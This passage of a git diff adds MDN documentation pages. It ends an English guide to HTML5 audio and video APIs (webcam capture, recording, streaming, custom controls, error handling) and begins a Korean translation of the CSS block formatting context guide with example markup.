+
+<p>In this example we retrieve an MP3 file via XHR, load it into a source and play it (<a href="http://jsbin.com/facutone/1/edit?js">Try it for yourself</a>). Find more about Web Audio API basics in <a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a>.</p>
+
+<h2 id="getUserMedia_Stream_API">getUserMedia / Stream API</h2>
+
+<p>It's also possible to retrieve a live stream from a webcam and/or microphone using <code>getUserMedia</code> and the Stream API. This makes up part of a wider technology known as WebRTC (Web Real-Time Communications) and is compatible with the latest versions of Chrome, Firefox and Opera.</p>
+
+<p>To grab the stream from your webcam, first set up a {{htmlelement("video")}} element:</p>
+
+<pre class="brush: html">&lt;video id="webcam" width="480" height="360"&gt;&lt;/video&gt;</pre>
+
+<p>Next, if supported connect the webcam source to the video element:</p>
+
+<pre class="brush: js">if (navigator.mediaDevices) {
+ navigator.mediaDevices.getUserMedia({ video: true, audio: false })
+ .then(function onSuccess(stream) {
+ var video = document.getElementById('webcam');
+ video.autoplay = true;
+ video.srcObject = stream;
+ })
+ .catch(function onError() {
+ alert('There has been a problem retreiving the streams - are you running on file:/// or did you disallow access?');
+ });
+} else {
+ alert('getUserMedia is not supported in this browser.');
+}
+</pre>
+
+<p>To find out more, read our {{domxref("MediaDevices.getUserMedia")}} page.</p>
+
+<h2 id="Mediastream_Recording">Mediastream Recording</h2>
+
+<p>New standards are being rolled out to allow your browser to grab media from your mic or camera using <code>getUserMedia</code> and record it instantly using the new MediaRecorder API. You take the stream you receive from <code>getUserMedia</code>, pass it to a <code>MediaRecorder</code> object, take the resulting output and feed it to your audio or video source*.<br>
+ <br>
+ The main mechanism is outlined below:</p>
+
+<pre class="brush: js">navigator.mediaDevices.getUserMedia({audio:true})
+ .then(function onSuccess(stream) {
+ var recorder = new MediaRecorder(stream);
+
+ var data = [];
+ recorder.ondataavailable = function(e) {
+ data.push(e.data);
+ };
+ recorder.start();
+ recorder.onerror = function(e) {
+ throw e.error || new Error(e.name); // e.name is FF non-spec
+ }
+ recorder.onstop = function(e) {
+ var audio = document.createElement('audio');
+ audio.src = window.URL.createObjectURL(new Blob(data));
+ }
+ setTimeout(function() {
+ rec.stop();
+ }, 5000);
+ })
+ .catch(function onError(error) {
+ console.log(error.message);
+ });
+</pre>
+
+<p>See <a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a> for more details.</p>
+
+<h2 id="Media_Source_Extensions_(MSE)">Media Source Extensions (MSE)</h2>
+
+<p><a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/media-source.html">Media Source Extensions</a> is a W3C working draft that plans to extend {{domxref("HTMLMediaElement")}} to allow JavaScript to generate media streams for playback. Allowing JavaScript to generate streams facilitates a variety of use cases like adaptive streaming and time shifting live streams.</p>
+
+<h3 id="Encrypted_Media_Extensions_(EME)">Encrypted Media Extensions (EME)</h3>
+
+<p><a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/encrypted-media/encrypted-media.html">Encrypted Media Extensions</a> is a W3C proposal to extend <code>HTMLMediaElement</code>, providing APIs to control playback of protected content.<br>
+ <br>
+ The API supports use cases ranging from simple clear key decryption to high value video (given an appropriate user agent implementation). License/key exchange is controlled by the application, facilitating the development of robust playback applications supporting a range of content decryption and protection technologies.<br>
+ <br>
+ One of the principle uses of EME is to allow browsers to implement DRM (<a href="http://en.wikipedia.org/wiki/Digital_rights_management">Digital Rights Management</a>), which helps to prevent web-based content (especially video) from being copied.</p>
+
+<h3 id="Adaptive_Streaming">Adaptive Streaming</h3>
+
+<p>New formats and protocols are being rolled out to facilitate adaptive streaming. Adaptive streaming media means that the bandwidth and typically quality of the stream can change in real-time in reaction to the user's available bandwidth. Adaptive streaming is often used in conjunction with live streaming where smooth delivery of audio or video is paramount.</p>
+
+<p>The main formats used for adaptive streaming are <a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video#HLS">HLS</a> and <a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video#MPEG-DASH">MPEG-DASH</a>. MSE has been designed with DASH in mind. MSE defines byte streams according to <a href="https://dvcs.w3.org/hg/html-media/raw-file/tip/media-source/isobmff-byte-stream-format.html">ISOBMFF</a> and <a href="http://en.wikipedia.org/wiki/M2ts">M2TS</a> (both supported in DASH, the latter supported in HLS). Generally speaking, if you are interested in standards, are looking for flexibility, or wish to support most modern browsers, you are probably better off with DASH.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Currently Safari does not support DASH although dash.js will work on newer versions of Safari scheduled for release with OSX Yosemite.</p>
+</div>
+
+<p>DASH also provides a number of profiles including simple onDemand profiles that no preprocessing and splitting up of media files. There are also a number of cloud based services that will convert your media to both HLS and DASH.<br>
+ <br>
+ For further information see <a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video">Live streaming web audio and video</a>.</p>
+
+<ul>
+</ul>
+
+<h2 id="Customising_Your_Media_Player">Customising Your Media Player</h2>
+
+<p>You may decide that you want your audio or video player to have a consistent look across browsers, or just wish to tweak it to match your site. The general technique for achieving this is to omit the <code>controls</code> attribute so that the default browser controls are not displayed, create custom controls using HTML and CSS, then use JavaScript to link your controls to the audio/video API.</p>
+
+<p>If you need something extra, it's possible to add features that are not currently present in default players, such as playback rate, quality stream switches or even audio spectrums. You can also choose how to make your player responsive — for example you might remove the progress bar under certain conditions.</p>
+
+<p>You may detect click, touch and/or keyboard events to trigger actions such as play, pause and scrubbing. It's often important to remember keyboard controls for user convenience and accessibility.</p>
+
+<p>A quick example — first set up your audio and custom controls in HTML:</p>
+
+<pre class="brush: html"> &lt;audio id="my-audio" src="http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3"&gt;&lt;/audio&gt;
+ &lt;button id="my-control"&gt;play&lt;/button&gt;</pre>
+
+<p>add a bit of JavaScript to detect events to play and pause the audio:</p>
+
+<pre class="brush: js">window.onload = function() {
+
+ var myAudio = document.getElementById('my-audio');
+ var myControl = document.getElementById('my-control');
+
+ function switchState() {
+ if (myAudio.paused == true) {
+ myAudio.play();
+ myControl.innerHTML = "pause";
+ } else {
+ myAudio.pause();
+ myControl.innerHTML = "play";
+ }
+ }
+
+ function checkKey(e) {
+ if (e.keycode == 32 ) { //spacebar
+ switchState();
+ }
+ }
+
+ myControl.addEventListener('click', function() {
+ switchState();
+ }, false);
+
+ window.addEventListener( "keypress", checkKey, false );
+}</pre>
+
+<p>You can <a href="http://jsbin.com/jujeladu/2/edit">try this example out here</a>. For more information, see <a href="https://developer.mozilla.org/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics#Creating_your_own_custom_audio_player">Creating your own custom audio player</a>.</p>
+
+<h2 id="Other_tips_for_audiovideo">Other tips for audio/video</h2>
+
+<h3 id="Stopping_the_download_of_media">Stopping the download of media</h3>
+
+<p>While stopping the playback of media is as easy as calling the element's <code>pause()</code> method, the browser keeps downloading the media until the media element is disposed of through garbage collection.</p>
+
+<p>Here's a trick that stops the download at once:</p>
+
+<pre class="brush: js">var mediaElement = document.querySelector("#myMediaElementID");
+mediaElement.<code>removeAttribute("src");</code>
+mediaElement.<code>load();</code>
+</pre>
+
+<p>By removing the media element's <code>src</code> attribute and invoking the load() method, you release the resources associated with the video, which stops the network download. You must call <code>load()</code> after removing the attribute, because just removing the <code>src</code> attribute does not invoke the load algorithm. If the <code>&lt;video&gt;</code> element also has <code>&lt;source&gt;</code> element descendants, those should also be removed before calling <code>load()</code>.</p>
+
+<p>Note that just setting the <code>src</code> attribute to an empty string will actually cause the browser to treat it as though you're setting a video source to a relative path. This causes the browser to attempt another download to something that is unlikely to be a valid video.</p>
+
+<h3 id="Seeking_through_media">Seeking through media</h3>
+
+<p>Media elements provide support for moving the current playback position to specific points in the media's content. This is done by setting the value of the <code>currentTime</code> property on the element; see {{ domxref("HTMLMediaElement") }} for further details on the element's properties. Simply set the value to the time, in seconds, at which you want playback to continue.</p>
+
+<p>You can use the element's <code>seekable</code> property to determine the ranges of the media that are currently available for seeking to. This returns a {{ domxref("TimeRanges") }} object listing the ranges of times that you can seek to.</p>
+
+<pre class="brush: js">var mediaElement = document.querySelector('#mediaElementID');
+mediaElement.seekable.start(0); // Returns the starting time (in seconds)
+mediaElement.seekable.end(0); // Returns the ending time (in seconds)
+mediaElement.currentTime = 122; // Seek to 122 seconds
+mediaElement.played.end(0); // Returns the number of seconds the browser has played
+</pre>
+
+<h3 id="Specifying_playback_range">Specifying playback range</h3>
+
+<p>When specifying the URI of media for an {{ HTMLElement("audio") }} or {{ HTMLElement("video") }} element, you can optionally include additional information to specify the portion of the media to play. To do this, append a hash mark ("#") followed by the media fragment description.</p>
+
+<p>A time range is specified using the syntax:</p>
+
+<pre>#t=[starttime][,endtime]</pre>
+
+<p>The time can be specified as a number of seconds (as a floating-point value) or as an hours/minutes/seconds time separated with colons (such as 2:05:01 for 2 hours, 5 minutes, and 1 second).</p>
+
+<p>A few examples:</p>
+
+<dl>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=10,20</span></dt>
+ <dd>Specifies that the video should play the range 10 seconds through 20 seconds.</dd>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=,10.5</span></dt>
+ <dd>Specifies that the video should play from the beginning through 10.5 seconds.</dd>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=,02:00:00</span></dt>
+ <dd>Specifies that the video should play from the beginning through two hours.</dd>
+ <dt><span class="nowiki">http://example.com/video.ogv#t=60</span></dt>
+ <dd>Specifies that the video should start playing at 60 seconds and play through the end of the video.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: The playback range portion of the media element URI specification was added to Gecko 9.0 {{ geckoRelease("9.0") }}. At this time, this is the only part of the <a class="external" href="http://www.w3.org/TR/media-frags/" title="http://www.w3.org/TR/media-frags/">Media Fragments URI specification</a> implemented by Gecko, and it can only be used when specifying the source for media elements, and not in the address bar.</p>
+</div>
+
+<h2 id="Error_handling">Error handling</h2>
+
+<p>Starting in Gecko 2.0 {{ geckoRelease("2.0") }}, error handling has been revised to match the latest version of the HTML5 specification. Instead of the <code>error</code> event being dispatched to the media element itself, it now gets delivered to the child {{ HTMLElement("source") }} elements corresponding to the sources resulting in the error.</p>
+
+<p>This lets you detect which sources failed to load, which may be useful. Consider this HTML:</p>
+
+<pre class="brush: html">&lt;video&gt;
+&lt;source id="mp4_src"
+ src="video.mp4"
+ type='video/mp4; codecs="avc1.42E01E, mp4a.40.2"'&gt;
+&lt;/source&gt;
+&lt;source id="3gp_src"
+ src="video.3gp"
+ type='video/3gpp; codecs="mp4v.20.8, samr"'&gt;
+&lt;/source&gt;
+&lt;source id="ogg_src"
+ src="video.ogv"
+ type='video/ogv; codecs="theora, vorbis"'&gt;
+&lt;/source&gt;
+&lt;/video&gt;</pre>
+
+<p>Since Firefox doesn't support MP4 and 3GP on some platforms due to their patent-encumbered nature, the {{ HTMLElement("source") }} elements with the IDs "mp4_src" and "3gp_src" will receive <code>error</code> events before the Ogg resource is loaded. The sources are tried in the order in which they appear, and once one loads successfully, the remaining sources aren't tried at all.</p>
+
+<h3 id="Checking_whether_the_browser_supports_the_supplied_formats">Checking whether the browser supports the supplied formats</h3>
+
+<p>Use the following verified sources within your audio and video elements to check support.</p>
+
+<ul>
+ <li>Audio MP3 (<code>type="audio/mpeg"</code>): <a href="http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3">http://jPlayer.org/audio/mp3/Miaow-01-Tempered-song.mp3</a> (<a href="http://jsbin.com/gekatoge/1/edit">play the MP3 audio live</a>.)</li>
+ <li>Audio MP4 (<code>type="audio/mp4"</code>): <a href="http://jPlayer.org/audio/m4a/Miaow-01-Tempered-song.m4a">http://jPlayer.org/audio/m4a/Miaow-01-Tempered-song.m4a</a> (<a href="http://jsbin.com/gekatoge/2/edit">play the MP4 audio live</a>.)</li>
+ <li>Audio Ogg (<code>type="audio/ogg"</code>): <a href="http://jPlayer.org/audio/ogg/Miaow-01-Tempered-song.ogg">http://jPlayer.org/audio/ogg/Miaow-01-Tempered-song.ogg</a> (<a href="http://jsbin.com/gekatoge/4/edit">play the OGG audio live</a>.)</li>
+ <li>Video MP4 (<code>type="video/mp4"</code>): <a href="http://jPlayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v">http://jPlayer.org/video/m4v/Big_Buck_Bunny_Trailer.m4v</a> (<a href="http://jsbin.com/gekatoge/5/edit">play the MP4 video live</a>.)</li>
+ <li>Video WebM (<code>type="video/webm"</code>): <a href="http://jPlayer.org/video/webm/Big_Buck_Bunny_Trailer.webm">http://jPlayer.org/video/webm/Big_Buck_Bunny_Trailer.webm</a> (<a href="http://jsbin.com/gekatoge/6/edit">play the WebM video live</a>.)</li>
+ <li>Video Ogg (<code>type="video/ogg"</code>): <a href="http://jPlayer.org/video/ogv/Big_Buck_Bunny_Trailer.ogv">http://jPlayer.org/video/ogv/Big_Buck_Bunny_Trailer.ogv</a> (<a href="http://jsbin.com/gekatoge/7/edit">play the OGG video live</a>.)</li>
+</ul>
+
+<p>If these don't play then the browser you are testing doesn't support the given format. Consider using a different format or using a fallback.<br>
+ <br>
+ If these work but the files you are supplying don't, there are two possible issues:</p>
+
+<h4 id="1._The_media_server_is_not_delivering_the_correct_mime_types_with_the_file">1. The media server is not delivering the correct mime types with the file</h4>
+
+<p>Although this is usually supported, you may need to add the following to your media server's <code>.htaccess</code> file.</p>
+
+<pre># AddType TYPE/SUBTYPE EXTENSION
+
+AddType audio/mpeg mp3
+AddType audio/mp4 m4a
+AddType audio/ogg ogg
+AddType audio/ogg oga
+
+AddType video/mp4 mp4
+AddType video/mp4 m4v
+AddType video/ogg ogv
+AddType video/webm webm
+AddType video/webm webmv</pre>
+
+<h4 id="2._Your_files_have_been_encoded_incorrectly">2. Your files have been encoded incorrectly</h4>
+
+<p>Your files may have been encoded incorrectly — try encoding using one of the following tools, which are proven to be pretty reliable:</p>
+
+<ul>
+ <li><a href="http://audacity.sourceforge.net/">Audacity</a> — Free Audio Editor and Recorder</li>
+ <li><a href="http://www.getmiro.com/">Miro</a> — Free, open-source music and video player</li>
+ <li><a href="http://handbrake.fr/">Handbrake</a> — Open Source Video Transcoder</li>
+ <li><a href="http://firefogg.org/">Firefogg</a> — Video and Audio encoding for Firefox</li>
+ <li><a href="https://www.ffmpeg.org/">FFmpeg2</a> — Comprehensive command line encoder</li>
+ <li><a href="https://libav.org/">Libav</a> — Comprehensive command line encoder</li>
+ <li><a href="http://m.vid.ly/">Vid.ly</a> — Video player,transcoding and delivery</li>
+ <li><a href="https://archive.org/">Internet Archive</a> — Free transcoding and storage</li>
+</ul>
+
+<h3 id="Detecting_when_no_sources_have_loaded">Detecting when no sources have loaded</h3>
+
+<p>To detect that all child {{ HTMLElement("source") }} elements have failed to load, check the value of the media element's <code>networkState</code> attribute. If this is <code>HTMLMediaElement.NETWORK_NO_SOURCE</code>, you know that all the sources failed to load.</p>
+
+<p>If at that point you add another source, by inserting a new {{ HTMLElement("source") }} element as a child of the media element, Gecko attempts to load the specified resource.</p>
+
+<h3 id="Showing_fallback_content_when_no_source_could_be_decoded">Showing fallback content when no source could be decoded</h3>
+
+<p>Another way to show the fallback content of a video, when none of the sources could be decoded in the current browser, is to add an error handler on the last source element. Then you can replace the video with its fallback content:</p>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="dynamicsearch.mp4" type="video/mp4"&gt;&lt;/source&gt;
+  &lt;a href="dynamicsearch.mp4"&gt;
+    &lt;img src="dynamicsearch.jpg" alt="Dynamic app search in Firefox OS"&gt;
+  &lt;/a&gt;
+  &lt;p&gt;Click image to play a video demo of dynamic app search&lt;/p&gt;
+&lt;/video&gt;
+
+</pre>
+
+<pre class="brush: js">var v = document.querySelector('video'),
+    sources = v.querySelectorAll('source'),
+    lastsource = sources[sources.length-1];
+lastsource.addEventListener('error', function(ev) {
+  var d = document.createElement('div');
+  d.innerHTML = v.innerHTML;
+  v.parentNode.replaceChild(d, v);
+}, false);
+</pre>
+
+<h2 id="AudioVideo_JavaScript_Libraries">Audio/Video JavaScript Libraries</h2>
+
+<p>A number of audio and video JavaScript libaries exist. The most popular libraries allow you to choose a consistent player design over all browsers and provide a fallback for browsers that don't support audio and video natively. Fallbacks often use Adobe Flash or Microsoft Silverlight plugins. Other functionality such as the track element for subtitles can also be provided through media libraries.</p>
+
+<h3 id="Audio_only">Audio only</h3>
+
+<ul>
+ <li><a href="http://www.schillmania.com/projects/soundmanager2/">SoundManager</a></li>
+ <li><a href="https://521dimensions.com/open-source/amplitudejs">AmplitudeJS</a></li>
+ <li><a href="https://howlerjs.com/">HowlerJS</a></li>
+</ul>
+
+<h3 id="Video_only">Video only</h3>
+
+<ul>
+ <li><a href="https://flowplayer.org/">flowplayer</a>: Gratis with a flowplayer logo watermark. Open source (GPL licensed.)</li>
+ <li><a href="http://www.jwplayer.com">JWPlayer</a>: Requires registration to download. Open Source Edition (Creative Commons License.)</li>
+ <li><a href="http://www.sublimevideo.net/">SublimeVideo</a>: Requires registration. Form based set up with domain specific link to CDN hosted library.</li>
+ <li><a href="http://www.videojs.com/">Video.js</a>: Gratis and Open Source (Apache 2 Licensed.)</li>
+</ul>
+
+<h3 id="Audio_and_Video">Audio and Video</h3>
+
+<ul>
+ <li><a href="http://jPlayer.org">jPlayer</a>: Gratis and Open Source (MIT Licensed.)</li>
+ <li><a href="http://mediaelementjs.com/">mediaelement.js</a>: Gratis and Open Source (MIT Licensed.)</li>
+</ul>
+
+<h3 id="Web_Audio_API_2">Web Audio API</h3>
+
+<ul>
+ <li><a href="https://github.com/cwilso/AudioContext-MonkeyPatch">AudioContext monkeypatch</a>: A polyfill for older versions of the Web Audio API; Open Source (Apache 2 Licensed.)</li>
+</ul>
+
+<h2 id="Basic_tutorials">Basic tutorials</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/cross_browser_video_player">Creating a cross-browser video player</a></dt>
+ <dd>A guide to creating a basic cross browser video player using the {{ htmlelement ("video") }} element.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Video_player_styling_basics">Video player styling basics</a></dt>
+ <dd>With the cross-browser video player put in place in the previous article, this article now looks at providing some basic, reponsive styling for the player.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Cross-browser_audio_basics">Cross-browser audio basics</a></dt>
+ <dd>
+ <div>
+ <p>This article provides a basic guide to creating an HTML5 audio player that works cross browser, with all the associated attributes, properties and events explained, and a quick guide to custom controls created using the Media API.</p>
+ </div>
+ </dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/buffering_seeking_time_ranges">Media buffering, seeking, and time ranges</a></dt>
+ <dd>Sometimes it's useful to know how much {{ htmlelement("audio") }} or {{ htmlelement("video") }} has downloaded or is playable without delay — a good example of this is the buffered progress bar of an audio or video player. This article discusses how to build a buffer/seek bar using <a href="/en-US/docs/Web/API/TimeRanges">TimeRanges</a>, and other features of the media API.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/HTML5_playbackRate_explained">HTML5 playbackRate explained</a></dt>
+ <dd>The <code>playbackRate</code> property allows us to change the speed or rate at which a piece of web audio or video is playing. This article explains it in detail.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></dt>
+ <dd>Explains the basics of using the Web Audio API to grab, manipulate and play back an audio source.</dd>
+</dl>
+
+<h2 id="Streaming_media_tutorials">Streaming media tutorials</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Live_streaming_web_audio_and_video">Live streaming web audio and video</a></dt>
+ <dd>Live streaming technology is often employed to relay live events such as sports, concerts and more generally TV and Radio programmes that are output live. Often shortened to just streaming, live streaming is the process of transmitting media 'live' to computers and devices. This is a fairly complex and nascent subject with a lot of variables, so in this article we'll introduce you to the subject and let you know how you can get started.</dd>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Setting_up_adaptive_streaming_media_sources">Setting up adaptive streaming media sources</a></dt>
+ <dd>Let's say you want to set up an adaptive streaming media source on a server, to be consumed inside an HTML5 media element. How would you do that? This article explains how, looking at two of the most common formats: MPEG-DASH and HLS (HTTP Live Streaming.)</dd>
+ <dt><a href="/en-US/docs/Web/HTML/DASH_Adaptive_Streaming_for_HTML_5_Video">DASH Adaptive Streaming for HTML 5 Video</a></dt>
+ <dd>Details how to set up adaptive streaming using DASH and WebM.</dd>
+</dl>
+
+<h2 id="Advanced_tutorials">Advanced tutorials</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Manipulating_media/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a></dt>
+ <dd>This article explains how to add captions and subtitles to HTML5 {{ htmlelement("video") }}, using <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Video_Text_Tracks_Format" title="WebVTT is a format for displaying timed text tracks (e.g. subtitles) with the &lt;track> element. The primary purpose of WebVTT files is to add subtitles to a &lt;video>.">Web_Video_Text_Tracks_Format</a> and the {{ htmlelement("track") }} element.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Developing/Manipulating_media/Web_Audio_API_cross_browser" title="/en-US/docs/Web/Apps/Developing/Manipulating_media/Web_Audio_API_cross_browser">Writing Web Audio API code that works in every browser</a></dt>
+ <dd>A guide to writing cross browser Web Audio API code.</dd>
+ <dt><a href="/en-US/Apps/Developing/Manipulating_media/H.264_support_in_Firefox">H.264 support in Firefox</a></dt>
+ <dd>This article explains the state of support for the H.264 video format in Firefox/Firefox OS, including code examples, tips and tricks.</dd>
+ <dt><a href="https://hacks.mozilla.org/2014/06/easy-audio-capture-with-the-mediarecorder-api/">Easy audio capture with the MediaRecorder API</a></dt>
+ <dd>Explains the basics of using the MediaRecorder API to directly record a media stream.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: Firefox OS versions 1.3 and above support the <a href="http://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol" title="http://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol">RTSP</a> protocol for streaming video delivery. A fallback solution for older versions would be to use <code>&lt;video&gt;</code> along with a suitable format for Gecko (such as WebM) to serve fallback content. More information will be published on this in good time.</p>
+</div>
+
+<h2 id="References">References</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/video">The video element</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Media_events">Media events API</a></li>
+ <li><a href="/en-US/docs/Web/API/HTMLVideoElement">HTMLVideoElement API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaSource">MediaSource API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaDevices/getUserMedia">getUserMedia</a></li>
+</ul>
diff --git a/files/ko/web/guide/css/block_formatting_context/index.html b/files/ko/web/guide/css/block_formatting_context/index.html
new file mode 100644
index 0000000000..3a46d31f0a
--- /dev/null
+++ b/files/ko/web/guide/css/block_formatting_context/index.html
@@ -0,0 +1,198 @@
+---
+title: 블록 서식 맥락
+slug: Web/Guide/CSS/Block_formatting_context
+tags:
+ - CSS
+ - Guide
+ - NeedsBeginnerUpdate
+ - NeedsExample
+ - Web
+translation_of: Web/Guide/CSS/Block_formatting_context
+---
+<div>{{ CSSRef }}</div>
+
+<p><strong>블록 서식 맥락</strong>(block format context)은 웹 페이지를 렌더링하는 시각적 CSS의 일부로서, 블록 박스의 레이아웃이 발생하는 지점과 플로팅 요소의 상호작용 범위를 결정하는 범위입니다.</p>
+
+<p>블록 서식 맥락은 다음과 같은 경우에 생성됩니다.</p>
+
+<ul>
+ <li>문서의 루트 요소({{htmlelement("html")}}).</li>
+ <li>플로팅 요소({{cssxref("float")}}이 <code>none</code>이 아님).</li>
+ <li>절대 위치를 지정한 요소({{cssxref("position")}}이 <code>absolute</code> 또는 <code>fixed</code>).</li>
+ <li>인라인 블록({{cssxref("display")}}가 <code>inline-block</code>).</li>
+ <li>표 칸({{cssxref("display")}}가 <code>table-cell</code>, HTML 표 칸의 기본값).</li>
+ <li>표 주석({{cssxref("display")}}가 <code>table-caption</code>, HTML 표 주석의 기본값).</li>
+ <li>{{cssxref("display")}}가 <code>table</code>, <code>table-row</code>, <code>table-row-group</code>, <code>table-header-group</code>, <code>table-footer-group</code> (HTML 표에서, 각각 표 전체, 행, 본문, 헤더, 푸터의 기본값) 또는 <code>inline-table</code>인 요소가 암시적으로 생성한 무명 칸.</li>
+ <li>{{cssxref("overflow")}}가 <code>visible</code>이 아닌 블록 요소.</li>
+ <li>{{cssxref("display")}}가 <code>flow-root</code>.</li>
+ <li>{{cssxref("contain")}}이 <code>layout</code>, <code>content</code>, <code>paint</code>.</li>
+ <li>스스로 플렉스, 그리드, 테이블 컨테이너가 아닌 경우의 플렉스 항목({{cssxref("display")}}가 <code>flex</code> 또는 <code>inline-flex</code>인 요소의 바로 아래 자식)</li>
+ <li>스스로 플렉스, 그리드, 테이블 컨테이너가 아닌 경우의 그리드 항목({{cssxref("display")}}가 <code>grid</code> 또는 <code>inline-grid</code>인 요소의 바로 아래 자식)</li>
+ <li>다열 컨테이너({{cssxref("column-count")}} 또는 ({{cssxref("column-width")}}가 <code>auto</code>가 아닌 경우. <code>column-count: 1</code> 포함).</li>
+ <li>{{cssxref("column-span")}}이 <code>all</code>인 경우. 해당하는 요소가 다열 컨테이너 안에 위치하지 않아도 항상 새로운 블록 서식 맥락을 생성해야 합니다. (<a href="https://github.com/w3c/csswg-drafts/commit/a8634b96900279916bd6c505fda88dda71d8ec51">명세 변경</a>, <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=709362">Chrome 버그</a>)</li>
+</ul>
+
+<p>블록 서식 맥락은 레이아웃에 영향을 주지만, 보통 맥락을 생성하는 요소는 아래와 같은 작용을 하기 때문에 위치 설정과 플로팅 해제를 위해 더 많이 사용합니다.</p>
+
+<ul>
+ <li>내부 플로팅 가두기</li>
+ <li>외부 플로팅 제외하기</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄</a> 제거</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="내부_플로팅_가두기">내부 플로팅 가두기</h3>
+
+<div id="example1">
+<p>Make float content and alongside content the same height.</p>
+
+<p>Let's have a look at a couple of these in order to see the effect creating a new <abbr title="Block Formatting Context">BFC</abbr>.</p>
+
+<p>In the following example, we have a floated element inside a <code>&lt;div&gt;</code> with a <code>border</code> applied. The content of that <code>&lt;div&gt;</code> has floated alongside the floated element. As the content of the float is taller than the content alongside it, the border of the <code>&lt;div&gt;</code> now runs through the float. As explained in the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">guide to in-flow and out of flow elements</a>, the float has been taken out of flow so the <code>background</code> and <code>border</code> of the <code>&lt;div&gt;</code> only contain the content and not the float.</p>
+
+<p><strong>using <code>overflow: auto</code></strong></p>
+
+<p>Setting <code>overflow: auto</code> or set other values than the initial value of <code>overflow: visible</code> created a new <abbr title="Block Formatting Context">BFC</abbr> containing the float. Our <code>&lt;div&gt;</code> now becomes a mini-layout inside our layout. Any child element will be contained inside it.</p>
+
+<p>The problem with using <code>overflow</code> to create a new <abbr title="Block Formatting Context">BFC</abbr> is that the <code>overflow</code> property is meant for telling the browser how you want to deal with overflowing content. There are some occasions in which you will find you get unwanted scrollbars or clipped shadows when you use this property purely to create a <abbr title="Block Formatting Context">BFC</abbr>. In addition, it is potentially not readable for a future developer, as it might not be obvious why you used <code>overflow</code> for this purpose. If you use <code>overflow</code>, it is a good idea to comment the code to explain.</p>
+
+<p><strong>using <code>display: flow-root</code></strong></p>
+
+<p>A newer value of <code>display</code> lets us create a new <abbr title="Block Formatting Context">BFC</abbr> without any other potentially problematic side-effects. Using <code>display: flow-root</code> on the containing block creates a new <abbr title="Block Formatting Context">BFC</abbr> .</p>
+
+<p>With <code>display: flow-root;</code> on the <code>&lt;div&gt;</code>, everything inside that container participates in the block formatting context of that container, and floats will not poke out of the bottom of the element.</p>
+
+<p>The value name of <code>flow-root</code> makes sense when you understand you are creating something that acts like the <code>root</code> element (<code>&lt;html&gt;</code> element in browser) in terms of how it creates a new context for the flow layout inside it.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;section&gt;
+  &lt;div class="box"&gt;
+  &lt;div class="float"&gt;I am a floated box!&lt;/div&gt;
+  &lt;p&gt;I am content inside the container.&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/section&gt;
+&lt;section&gt;
+  &lt;div class="box" style="overflow:auto"&gt;
+  &lt;div class="float"&gt;I am a floated box!&lt;/div&gt;
+  &lt;p&gt;I am content inside the &lt;code&gt;overflow:auto&lt;/code&gt; container.&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/section&gt;
+&lt;section&gt;
+  &lt;div class="box" style="display:flow-root"&gt;
+  &lt;div class="float"&gt;I am a floated box!&lt;/div&gt;
+  &lt;p&gt;I am content inside the &lt;code&gt;display:flow-root&lt;/code&gt; container.&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/section&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">section {
+  height:150px;
+}
+.box {
+  background-color: rgb(224, 206, 247);
+  border: 5px solid rebeccapurple;
+}
+.box[style] {
+  background-color: aliceblue;
+  border: 5px solid steelblue;
+}
+.float {
+  float: left;
+ width: 200px;
+  height: 100px;
+  background-color: rgba(255, 255, 255, .5);
+  border:1px solid black;
+  padding: 10px;
+}</pre>
+
